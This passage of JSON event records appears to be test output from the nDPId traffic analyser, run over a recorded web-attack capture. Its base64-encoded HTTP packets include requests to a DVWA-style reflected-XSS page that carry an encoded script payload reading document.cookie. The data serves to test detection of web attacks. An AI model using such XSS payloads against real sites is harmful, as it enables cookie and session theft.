lZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02975{"flow_id":532,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7571,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":298920,"pkt_caplen":1933,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1933,"pkt_l4_len":1899,"pkt":"AMGxFOsxABm5CmnxCABFAAd\/prlAAEAGFdTAqAoyrBAAAQBQgyztIp7HwrWWx4AYAPR+XQAAAQEICgPmMa4BPGA5SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMxOjE3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxNg0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Ye08bORD\/G6R+B59POuAk1uTaUwtNtsqLgkpbSkLhTietnF0nMXjXW9ubwLe\/sXc3WZ5hm0ooeO15\/MYzHs\/41Wbzt97X7vCf0z6amlig0\/POyXEX4V1CLl53CekNe+jyaPj5BDW8PTQwioeGkP4XjPDUmPSAkPl87s1fe1JNyPCM3FgpDctWDHe14\/EiE2H\/1earzabTcxOLRLcekdHY39\/PWXPyjeaU0QiGGxvNmBmKLMsu+5HxWQt3ZWJYYnaHtynDKMy\/WtiwG0OsiPconFKlmWmdDw9332FEcpkbTcONYP73TCRM0REX3NweoDM2Fiw0LEJdJbVGA24YGoSKp4YnE7R9ORjsoIMD1KNxgkpewdAFG6F2mgoeUsNlgrZ73y\/aO2jW8Bp76M8emzEh0xig\/dkkueICheDJNVJMtLA2t4LpKWMGIwPWFEaEWmM0VWzcwp5H4C+azamdJTHlieeWyUNpHLailPMfj+mEEZi6K2lMZ5bMcwsLGdpZW4VwRWc0n8VIq\/AOkCvt\/p+CAu9KY79JcsrCc6RwnR2PZHSLQkG19bqMGc5dGvEZ4lELW9+BRUwVXq8sWSGV+Y0mjycPkDgjNRFyIr00mWBEBQTCCkct7QasoO6BarvJATguq2h\/sBakNIpYlBsEBJko7bSrHSHDa7s1giOZhKD6uoXnPInk3IMlh6O1lVvibeGSFRjoHXd52D+CbWsSCrssuL\/5EoE8gdOXhXZKe+k0fUb+fVLsH1dm6qmFA5elK\/QtaLA\/sENE4PjBJOp1KspIJvw1NnRWOd8cwmOkMsPIM6geZ8B+x\/5Hh1KFNT1wXyC7YWEdAI4e+10ZxzSJ0HFyxZxH1kMRajWug8LRA4rB2eF6iseceB9SOKotDpxZxFZEyYv4sX\/I4XAf2xm99t5kqZA0qrM7BUcB49x9rekfmhq4uWq5qGBx55aFmWKo2z4ddo\/a60HRPwSvg8PRw5n+dvKrgtVKDEZwudVySoXrHhq03bHTO+uhmjN6HfBakEoW7F\/ACA2YttGKjns10+t9uTdaB7WA5AzYh3oGapWvn9fcCitOVfRrlldRL8KhShyL4usXoNF1d0OXKAZGqrsQ1ryC3FmE6nLldbgkw76tHyE+8ql62wH8PBnLFeoqVNg\/PTqF0zGW9RTRkczMCjULGuy37fDXbast9FaqXxJh\/8SN7wEoKrY7td\/ThaAtYZeFIHQydrXQbdeqhWBz2viZ7gJK5kZRMFeEzxYVbBDKiAVUMVrUz2OpYpTQGKp14Iey16W4Fv4dI+iWphKwf+wPi9q0mRYWX0yp2dLoVmbKMX8oK+skzarFPy5E299FfVsl0tko5kA2oyKDz0H+WWgjqZ83FcSizPGmivlHTAiJilbDh8pfS8HAw5PtrW5\/0P377dG3\/sdPZ53em\/7w8t\/9xuWnL9\/etPf2PrXbw\/2Ty73OcP9d\/\/Lj4eXbTv\/d1s77qoRIhpnttLxQymvOdt4vWhKAo5hzzdLDzelf\/mc48C78VUzzywom7VoRHxCNy7iyzacuGlY5pzp1PSuEKLuxYUacZ3c1eDZYeDZwnoV2jKoJdKIYbiWaXGP\/52Utorg2PuAOoEoxTAV9aOvA3KAL\/ZUJBkXrWRPj8\/JW42SJN+fXPGURp060\/aparkvLn8b2chnP4ynMDCd8kYxDGdvrYXdMf3juSeJREC9gfJHmHCcVTJmGk\/CsugfUVR1FdstDvexcRwr63fy3TGFPpLwi74SCUbU4zY\/lRX2rDYsDe5c8mh9GmTG2zy7yw3fO5giOf7rI2alMszQoyWTSzbP+8tHhACjO0230xG0\/A4nBFCTacPwAkFxN8UfpiJaQ8y20g320EtYAkmHIfi0w7WSuhGZ3kwo+gbwt2BjyZ5PF\/rlmyubdgyaBL0SjmCeFC+G7LA7QiX1dKmhA4pICbvXj3qBYibi210dUevFJh46lNHceW1J\/ndeu9LFrtZqAib0483dB92Ln\/w8KBiIvkhQAAA=="} +00434{"flow_id":532,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7572,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347877,"pkt_ts_usec":299661,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ycpAAD4G\/A2sEAABwKgKMoMsAFDCtZbH7SKmEoAQAR33egAAAQEICgE8YDoD5jGu"} +00948{"flow_id":532,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7573,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":304959,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzyctAAD4G+o2sEAABwKgKMoMsAFDCtZbH7SKmEoAYAR2lhwAAAQEICgE8YTUD5jGuR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":532,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7574,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":308038,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAceprtAAEAGFjPAqAoyrBAAAQBQgyztIqYSwrWYRoAYAP19\/AAAAQEICgPmMqoBPGE1SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMxOjE4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00436{"flow_id":532,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7575,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":308755,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ycxAAD4G\/AusEAABwKgKMoMsAFDCtZhG7SKs\/IAQATns\/QAAAQEICgE8YTYD5jKq"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7576,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":536,"flow_packet_id":1,"flow_first_seen":1499347878568,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33648,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":536,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7576,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":568081,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UNxAAD4GdPSsEAABwKgKMoNwAFDv6DGrAAAAAKACchBW\/AAAAgQFtAQCCAoBPGF3AAAAAAEDAwc="} +00444{"flow_id":536,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7577,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":568178,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg3Dm1iqC7+gxrKAScSAPsQAAAgQFtAQCCAoD5jLrATxhdwEDAwc="} +00432{"flow_id":536,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7578,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":568774,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UN1AAD4GdPusEAABwKgKMoNwAFDv6DGs5tYqg4AQAOWuuAAAAQEICgE8YXcD5jLr"} +01217{"flow_id":532,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7579,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":569369,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9yc1AAD4G+cGsEAABwKgKMoMsAFDCtZhG7SKs\/IAYATnRcAAAAQEICgE8YXcD5jKqR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdNTTBJRThOQU1INkFYSVZaQ1A0WEFSRUpYOFZRSk5EM0RGQzJZNzJKWjJSR083T0NWUyUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +02961{"flow_id":532,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7580,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":572407,"pkt_caplen":1935,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1935,"pkt_l4_len":1901,"pkt":"AMGxFOsxABm5CmnxCABFAAeBpr1AAEAGFc7AqAoyrBAAAQBQgyztIqz8wrWaj4AYAQd+XwAAAQEICgPmMuwBPGF3SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjMxOjE4IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxOA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTcNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Y\/0\/bOBT\/GaT9Dz6fdMCkxis73TbWZiotjE4wOlq+7HRS5CZua+rEWey08N\/fs5O04WvJioSKY78vn+f3\/Pye32w2\/uictgc\/ewdookOBeuf7x902wjVCLt+3CekMOujqaHByjOrOO9TXCfc1IQffMcITreM9QubzuTN\/78hkTAZn5MZIqRu2fFhTlscJdIDdN5tvNhtWz00oItV8REb906dPGWtGvtGYMBrAcGOjETJNkWGpsV8pnzVxW0aaRbo2uI0ZRn721cSa3WhiRHxG\/oQmiunm+eCw9hEjksncaGiuBXMvUhGxhA654Pp2D52xkWC+ZgFqJ1Ip1Oeaob6f8FjzaIy2r\/r9HbS3hzo0jFDBKxi6ZEPUimPBfaq5jNB25+KytYNmdaf+Dr3tsBkTMg4B2tsGyRTnKASPpihhoomVvhVMTRjTGGmwJjfCVwqjScJGTew4BP6C2ZyaWRJSHjl2mTyUxmErCjn\/8ZCOGYGpu5JGdGbIHLuwkKGstWUI13RGs1mMVOLfAXKt7P8eKHCuFXYbJKPMPUdy15nxUAa3yBdUGa\/LkOHMpQGfIR40sfEdWMSS3OulJSOkNL\/R4OH4ARJrpCJCjqUTR2OMqIBAWOGopd2AFdQ9UG022QPHpSXtD9a8mAYBCzKDgCAVhZ1mdV9If2q2RnAkIx9UT5t4zqNAzh1YsjiaW5klzhYuWIGB3nGXg90j2LYGobDLgrubLxHIIzh9qW+mlBNP4mfk3yfFbrc0U00tHLg0XqFvQYPdvhkiAscPJlFnv6SMpMJdY0NnpfPNITyGSaoZeQbV4wzY3Tf\/0aFM\/IoeuC+Q3TC\/CgBLj922DEMaBagbXTPrkfVQ+CoZVUFh6QFF\/+xwPcUjTpwvMRzVJgfONGArouRF\/Ng95HC4u2ZGrb03aSwkDarsTs6Rwzi3X2v6h8Yabq5KLspZ7Lllfpow1G71Bu2j1npQ1C\/Bq+Cw9HCmfxy\/VrAaid4QLrdKTilx3UODtvfN9M56qOaMTj1eCVLBgt1LGKE+UyZaUbdTMb3el3ujlFcJSMaAXahnoFY5PVlzK4y4pKRfsayKehGOpMCxKL5eAY2quhuqQNHXMrkLYc0ryJ5FqC5XXodLMuya+hHiI5uqth3Az6ORXKGuRIXd3lEPTsdIVlNEhzLVK9QsaLDbMsPX21ZT6K1UvyTC7rEd3wOQV2x3ar+nC0FTwi4LQehkzGqu26yVC8HGpP473QWUzPW8YC4Jny0qWM+XAfNowmheP49kEqKIhlCtAz+UvTbFNfGfGEG3NJGA\/evBIK9NG3Fu8eWE6i2FbmWaWOYvRWUdxWm5+Me5aPO7qG\/LRCodhhzIZlSk8NnPPnNtJHazpoIYlBneOGHuERNCorzVcKHyV1Iw8PB4e+vk5F334OP31snRP62r7sW\/7d7fV62zg29XHy9+fPveed85bO\/+\/LD77d\/ds6+nH07bF\/2tnc9lCYH0U9NpOb6UU852Pi9aEoCTMOuapYcbk133BA68Df8kpNllBZNmLY8PiMZlXJnmU+UNq5xTFdueFUKU3ZgwI9azNQWe9Rae9axnoR2jyRg6UQy3Eo2m2P19WYsorowPuD2oUjRLvANo68Bcrw39lfb6eetZEePz8lbjZJEz51Mes4BTK9p8lS1XheVPY3u5jOfx5Gb6Y75Ixr4MzfVQG9Ffjn2SeBTECxhfpDnDSQVLdN1KeFbdA+qyjjy7ZaFedK7DBPrd7LdIYU+kvDzv+ILRZHGaH8uL6lZpFnrmLnk0PwxTrU2fneeHC87mCI5\/vMjZsYzT2CvIZNTOsv7y0WEPKM7jbfTEbT8Did4EJJpw\/AKQbE3xV+GIppDzLbSDXbQSVh+Soc9eF5iyMldCM7tJBR9D3hZsBPmzwUL3XLHE5N29BoEvRIOQR7kL4bsoDtCxeV3KaUDikgJu9W6nn68EXJnrIyi8+KRDR1LqO48tsbvOa1f82LVaTsDEXJzZu6B9sXP\/B6iy1gqSFAAA"} +00433{"flow_id":533,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7582,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":866680,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+eNAAD4Gy\/SsEAABwKgKMoM6AFCd+qWbY1jrd4ARAOVUKAAAAQEICgE8YcED5i3v"} +00432{"flow_id":533,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7583,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":866909,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA02EFAAEAG65bAqAoyrBAAAQBQgzpjWOt3nfqlnIARAONO4gAAAQEICgPmMzYBPGHB"} +00433{"flow_id":533,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7584,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347878,"pkt_ts_usec":867459,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+eRAAD4Gy\/OsEAABwKgKMoM6AFCd+qWcY1jreIAQAOVO4AAAAQEICgE8YcED5jM2"} +00432{"flow_id":534,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7588,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347879,"pkt_ts_usec":867048,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08w5AAD4G0smsEAABwKgKMoNIAFDgx662kkLLHYARAOX3aQAAAQEICgE8YrsD5i8t"} +00433{"flow_id":534,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7589,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347879,"pkt_ts_usec":867289,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0\/y1AAEAGxKrAqAoyrBAAAQBQg0iSQssd4Meut4ARAOPyZwAAAQEICgPmNDABPGK7"} +00432{"flow_id":534,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7590,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347879,"pkt_ts_usec":867830,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA08w9AAD4G0sisEAABwKgKMoNIAFDgx663kkLLHoAQAOXyZAAAAQEICgE8YrwD5jQw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7597,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":537,"flow_packet_id":1,"flow_first_seen":1499347881141,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33674,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":537,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7597,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347881,"pkt_ts_usec":141710,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA80HhAAD4G9VesEAABwKgKMoOKAFDzHbOCAAAAAKACchDPUgAAAgQFtAQCCAoBPGP6AAAAAAEDAwc="} +00444{"flow_id":537,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7598,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347881,"pkt_ts_usec":141852,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQg4pPHZMl8x2zg6AScSC0mgAAAgQFtAQCCAoD5jVuATxj+gEDAwc="} +00433{"flow_id":537,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7599,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347881,"pkt_ts_usec":142632,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA00HlAAD4G9V6sEAABwKgKMoOKAFDzHbODTx2TJoAQAOVTogAAAQEICgE8Y\/oD5jVu"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7607,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":538,"flow_packet_id":1,"flow_first_seen":1499347882404,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33688,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 